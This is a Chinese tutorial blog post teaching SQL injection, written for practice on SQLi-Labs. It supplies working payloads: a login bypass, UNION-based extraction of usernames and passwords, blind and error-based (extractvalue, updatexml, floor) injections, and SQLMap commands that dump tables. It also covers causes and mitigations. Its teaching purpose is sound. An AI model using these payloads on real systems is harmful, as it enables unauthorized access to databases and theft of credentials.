Hello大家好~这里是KOKO师傅
SQL注入是Web渗透测试里hin常用的方法,我用1w+字让你入门SQL注入!
一、数据库基础
1.1 数据库概述
• 数据库(DataBase, DB)
:存储在磁带、磁盘、光盘或其他外存介质上、按一定结构组织在一起的相关数据的集合。
• 数据库管理系统(DataBase Management System,DBMS)
:—种操纵和管理数据库的大型软件,用于建立、使用和维护数据库。
• 数据库系统(DataBase System, DBS)
:通常由软件、数据库(DB)和数据库管理员组成。软件主要包括操作系统、各种宿主语言、实用程序以及数据库管理系统(DBMS)。
• 数据库(DB)
由数据库管理系统(DBMS)统一管理,数据的插入、修改和检索均要通过数据库管理系统(DBMS)进行。数据库管理员负责创建、监控和维护整个数据库, 使数据能被任何有权使用的人有效使用。
1.2 典型的网站体系结构
1.3 数据库分类
1.3.1 关系型数据库
• 关系型数据库模型
是把复杂的数据结构归结为简单的二元关系(即二维表格形式)。通过SQL结构化查询语句存储数据,保持数据一致性,遵循ACID理论。
• 关系型数据库的典型产品
:MySQL、Microsoft SQL Server、Oracle、 PostgreSQL、IBM DB2、Access等。
1.3.2 非关系型数据库
• 非关系型数据库
也被称为NOSQL数据库,NOSQL的本意是“Not Only SQL” 指的是非关系型数据库,而不是“No SQL”的意思。因此,NOSQL的产生并不是要彻底地否定关系型数据库,NOSQL数据库在特定的场景下可以发挥出难以想象的高效率
和高性能
。
• 非关系型数据库的典型产品
:Memcached、Redis、mongoDB等。
1.4 典型产品
1.4.1 Oracle
• 甲骨文公司的一款关系型数据库管理系统
。它是在数据库领域一直处于领先地
位的产品。可以说Oracle
是目前世界上功能最强大、最复杂、市场占比最高
的商业数据库产品,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的适应高吞吐量的数据库解决方案。
• 从架构到运维,可以说是最难的数据库,学习和使用难度较高。
1.4.2 MySQL
• MySQL
是当今最受欢迎的开源
SQL数据库管理系统,它由瑞典MySQL AB开发、发布和支持。MySQL AB是一家基于MySQL开发人员的商业公司,它是一家使用了一种成功的商业模式来结合开源价值
和方法论
的第二代开源公司。
• MySQL是现在非常流行的关系型数据库管理系统,尤其在Web应用方面,是最好的关系型数据库管理系统应用软件之一。
1.4.3 Microsoft SQL Server (MSSQL)
• SQL Server
是Microsoft推出的关系型数据库管理系统
,具有使用方便可伸缩 性好
与相关软件集成程度高
等优点,从旧版本的个人电脑到运行Microsoft Windows server的大型多处理器的服务器都可以使用。
• 老版本只能在Windows上运行,从SQL Server 2017版本起可以在 Linux上运行。
1.4.4 Redis
• Redis也是一个key-value型
存储系统。但Redis支持的存储value类型相对更多,
包括string (字符串)
、list (链表)
、set (集合)
和zset (有序集合)
等。
这些数据类型都支持push/pop
、add/remove
及取交集、并集和差集及更丰富的操作。
• Redis未授权访问漏洞
1.5 识别数据库
1.5.1 默认端口号
Oracle: 1521
MySQL: 3306
SQL Server: 1433
PostgreSQL: 5432
mongoDB: 27017
Redis: 6379
MemcacheDB: 11211
1.5.2 报错信息
• MySQL报错信息:
• MSSQL (Microsoft SQL Server)报错信息:
• Oracle报错信息:
1.5.3 各数据库的版本查询方法区别
MSSQL:select @@version
MySQL:select version() / select @@version
Oracle:select banner from v$version
PostgreSQL:select version()
1.5.4 各数据库在字符串处理时的区别
1.6 SQL语法基础
库、表、列/字段、值的定义
• 用于与关系型数据库交互的标准SQL命令有CREATE
、 SELECT
、 INSERT
、UPDATE
、 DELETE
和DROP
• 分为三组:
① 数据定义(Create、Drop)
② 数据操纵(Select、Insert、Update、Delete)
③ 数据控制(Grant、Revoke)
1.6.1 SQL基本操作:CUD
• C=Create 创建
CREATE DATABASE testdb;
CREATE TABLE table_name (column_name column_type);
• U=Update 更改
UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]
• D=Delete 删除
DELETE FROM table_name [WHERE Clause]
修改表offices中的某一行的数据:
删除表offices中的某一行数据
1.6.2 SQL高级操作:排序,分组,限定条数
• 排序 order by
SELECT * FROM test_table ORDER BY userid;
• 分组 group by
SELECT name,COUNT(*) FROM test_table GROUP BY name;
• 限定条数 Iimit
SELECT * FROM test_table limit 0,10;
SELECT * FROM test_table limit 1,5;
• 联合查询 union select
SELECT * FROM test_table UNION SELECT 1,2,3;
二、SQL注入原理及漏洞利用
2.1 什么是SQL注入漏洞
攻击者利用Web应用程序
对用户输入验证
上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。
2.2 SQL注入原理
服务端没有过滤用户输入的恶意数据
,直接把用户输入的数据当做SQL语句执行
,从而影响数据库安全和平台安全。
两个条件
• 用户能够控制输入
• 原本程序要执行的SQL语句,拼接了用户输入的恶意数据
2.3 SQL注入过程
2.4 SQL注入带来的危害
• 绕过登录验证: 使用万能密码登录网站后台等
• 获取敏感数据: 获取网站管理员帐号、密码等
• 文件系统操作: 列目录,读取、写入文件等
• 注册表操作: 读取、写入、删除注册表等
• 执行系统命令: 远程执行命令
通过在用户名处传入参数
'or 1=1 -- +
进行万能密码登录
SELECT username, password FROM users WHERE username=' 123' or 1 = 1 -- ' AND password='123'
(注意:–后面有一个空格)
输入字符:
formusr = ' or 1=1 --
formpwd = anything
实际的查询代码:
SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
判断一个HTTP请求是否存在SQL注入的方式
经典:and 1=1 | and 2 > 1 | or 1 = 1 | or 1<1
数据库函数:sleep(4)=1 | length(user())>3
特殊符号:单引号(’
) 双引号("
)
2.5 前置知识
mysql 之 information_schema 数据库
表结构如下:
“show tables;"或是直接在phpmyadmin中查看
需要重点关注的三张表:
① schemata——schema_name(数据库名)
② tables——tableschema(数据库名)、tablename(表名)
③ columns——tableschema(数据库名)、tablename(表名)、column_name(列名)
查看数据库名
select schema_name from information_schema.schemata;
查看表名
select table_name from information schema.tables where table_schema='security';
查看列名
select column_name from information_schema.columns where table_name='users' and table_schema='security';
查数据
select username,password from security.users;
2.6 注入类型
按照注入点类型分类
数字型(整型)注入
字符型注入
搜索型注入
按照注入技术(执行效果)分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入
2.6.1 数字型(整型)注入
输入的参数为整数,如ID、年龄、页码等,如果存在注入型漏洞,则为数字型(整型) 注入 http://www.testweb.com/user.php?id=8
实际查询代码原型诸如:select ... from ... where id=$id ...
数字型注入测试方法
2.6.2 字符型注入
输入的参数为字符串
与数字型注入的区别在于:字符型注入一般要使用单引号来闭合 http://www.testweb.com/test.php?user=admin
实际查询代码原型诸如:select ... from ... where id='$id' ...
字符型注入测试方法
2.6.3 搜索型注入
这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有keyword=关键字
,有的不显示链接地址,而是直接通过搜索框表单提交。
此类注入点提交的SQL语句,其原型大致为:
select * from 表名 where 字段 like '% 关键字 %'
当我们提交注入参数为keyword='and[查询条件]and '%'='
则向数据库提交的SQL语句为:
select * from 表名 where 字段 like '%' and [查询条件]and '%'='%'
基于
布尔
的盲注
即可以根据返回页面判断条件真假的注入。
基于时间
的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错的注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入
可以使用union的情况下的注入。
堆查询注入
同时执行多条语句的注入
2.6.4 联合查询
①闭合sql语句,使其返回正常
id = 1' and 1=1%23
②order by排序查询列数id = 1' order by 3%23
得知有三列数据
③union select查找输出位置
令联合查询前半部分输出为空, 使得后半部分输出id=-1' union select 1,2,'3
得知2, 3位置上有输出
④查库名
id = -1' union select 1 ,2,group_concat(schema_name) from information_schema.schemata%23
⑤查security库的表名
?id = -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
⑥查users表的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
⑦查数据
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users%23
2.6.5 布尔盲注
字符串截取函数
• left(a,b): 从左侧截取a的前b位left(database(),2) = 'se'
• right(a,b): 从右侧截取a的后b位right(database(),2) ='ty'
• substr(a,b,c): 从b位置开始,截取字符串a的c长度substr(database(),1,1) ='s'
• mid(a,b,c): 从b位置开始,截取a字符串的c位mid(database(),1,1) = 's'
基于布尔的盲注一般就是构造and 1=1
、or 1=1
这种结构,根据页面返回的结果来判断语句是正确还是错误,从而获取数据。
例如:
id = 1' and (ascii(substr(database(),1,1)) = 115) = 1%23
由于数据库第一位s的ascii值为115,就构造出1=1的结构,页面正常
在进行布尔盲注时,往往会涉及到表的切换,这时就需要用到Iimit函数
我们先来看一下security库的表结构
limit a,b:从第a位开始,取得之后b条数据
注意:
这里的a是从0开始,得到第一张表需要用到limit 0,1
select table_name from information_schema.tables where table_schema='security' limit 0,1;
这样就得到了第一张表,那么第二张表就是limit 1,1以此类推
2.6.6 报错注入
报错盲注原理就是让信息通过错误提示回显出来
,解决无回显问题。
MySQL—共有十种报错注入,我们只实验实战价值较大的三个
• extractvalue
extractvalue(1,concat(0x7e,(select @@version),0x7e))
• updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
• floor
前两个是通过xpath语法报错,带出信息
第三个的原理较复杂,但好在payload相对固定,会用即可
2.6.6.1 extractvalue函数
select 1 or extractvalue(1,concat(0x7e,(select database()),0x7e));
后面的查询语句跟联合查询较为相似,只是把联合查询的语句放到报错语句
中
select 1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e));
2.6.6.2 updatexmI函数
select 1 or updatexml(1,concat(0x7e,(select database()),0x7e),1);
select 1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1);
2.6.6.3 floor函数
floor()报错注入
准确地说应该是floor,count,group by冲突报错
是当这三个函数在特定情况一起使用产生的错误
select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
三、SQLMap工具概述及介绍
3.1 SQLMAP是什么?
SQLMAP是一个开源
的自动化SQL注入工具,其主要功能是扫描
、 发现
并利用
给定的URL的SQL注入漏洞。
SQLMAPT载安装
官网:http://sqlmap.org
GitHub:https://github.com/sqlmapproject/sqlmap
注意:
安装之前系统需要配置Python环境!
(https://www.python.org/downloads/)
SQLMAP使用教程
https://github.com/sqlmapproject/sqlmap/wiki/Usage
SQLMAP支持的注入技术
•基于布尔的盲注: 根据返回页面判断条件真假的注入。
•基于时间的盲注: 不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
•基于报错的注入: 页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
•基于联合查询的注入: 可以使用UNION的情况下的注入。
•堆查询注入: 同时执行多条语句的注入。
SQLMAP支持的数据库类型
• 主要包括一些关系型数据库(RMDBS ),如 MySQL、Oracle、PostgreSQL s
Microsoft SQL Ser ver、Microsoft Access、RM DB2、 SQLite、Firebird、
Sybase、SAP MaxDB、Informix、HSQLDB等
3.2 SQLMAP基本使用
3.2.1 常见用法1: -u参数(直接输入目标URL)
命令实例: sqlmap -u “www.test.com/index.php?id=1
验证过程
• 判断可注入的参数
• 判断可以用哪种SQL注入技术来注入
• 识别出所有存在的注入类型
• 尝试去判定数据库版本、开发语言、操作系统版本
sqlmap -u http://192.168.0.110/page.php?id=10 --current-db
//爆当前库
sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名--tables
//爆表名
a sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名-T表名-- columns
//爆字段
a sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名-T表名-C 字段名1,字段名2,字段名3...(互相用逗号隔开)--dump
//显示数据
SQLMAP基本使用实例1: -u参数的用法
目标靶机: SQLi-Labs的less-1
要求: 利用SQLMAP实现注入,获取users表中存储的用户名、密码
① 爆当前数据库的库名
② 爆指定数据库中的表名
③ 爆指定数据表中的字段名
④ 爆指定字段的值
3.2.2 常见用法2: -r参数(从文本文件中获取http请求)
命令实例: sqlmap -r /usr/a.txt
说明: 使用该命令时须指明a.txt (保存着http请求包)文件所在的绝对路径
验证过程: 与-U参数类似
• 判断可注入的参数
• 判断可以用哪种SQL注入技术来注入
• 识别出所有存在的注入类型
• 尝试去判定数据库版本、开发语言、操作系统版本
SQLMAP基本使用实例2:-r参数的用法
目标靶机: SQLi-Labs的less-11
要求: 利用SQLMAP实现注入,获取users表中存储的用户名、密码
① 利用 Burpsuite 截取 HTTP Request 报文
② 将截取到的HTTP Request报文保存在文本文件中
③ 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆当前数据库的库名
④ 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据库的表名
⑤ 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据表的字段名
⑥ 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定字段的值
3.2.3 常见用法3: -m参数(从文件中取出保存的url进行检测)
命令实例: sqlmap -m /usr/b.txt
说明: 使用该命令时须指明b.txt (保存着多项URL)文件所在的绝对路径
验证过程: 与-u参数类似
• 判断可注入的参数
• 判断可以用哪种SQL注入技术来注入
• 识别出所有存在的注入类型
• 尝试去判定数据库版本、开发语言、操作系统版本
四、SQL注入漏洞形成原因
4.1 动态字符串构建引起
• 不正确的处理转义字符(宽字节注入)
• 不正确的处理错误(报错泄露信息)
• 不正确的处理联合查询
• 不正确的处理多次提交(二次注入)
4.2 后台存在的问题
• 后台无过滤或者编码用户数据
• 数据库可以拼接用户传递的恶意代码
4.3 错误处理不当
• 详细的内部错误消息显示给用户或攻击者
• 错误信息可以直接给攻击者提供下一步攻击帮助
4.4 不安全的数据库配置
默认账户:
SQL Server : sa
作为数据库系统管理员账户;
MySQL: 使用root
和anonymous
用户账户;
Oracle: 则在创建数据库时通常默认会创建SYS
、SYSTEMS DBSNMP
和OUTLN
账户。
权限:
问题: 系统和数据库管理员在安装数据库服务器时允许以roots SYSTEM
或Administrator
特权系统用户账户身份执行操作。
正确方法: 应该始终以普通用户身份运行服务器上的服务,降低用户权限,将用户权限只限于本服务。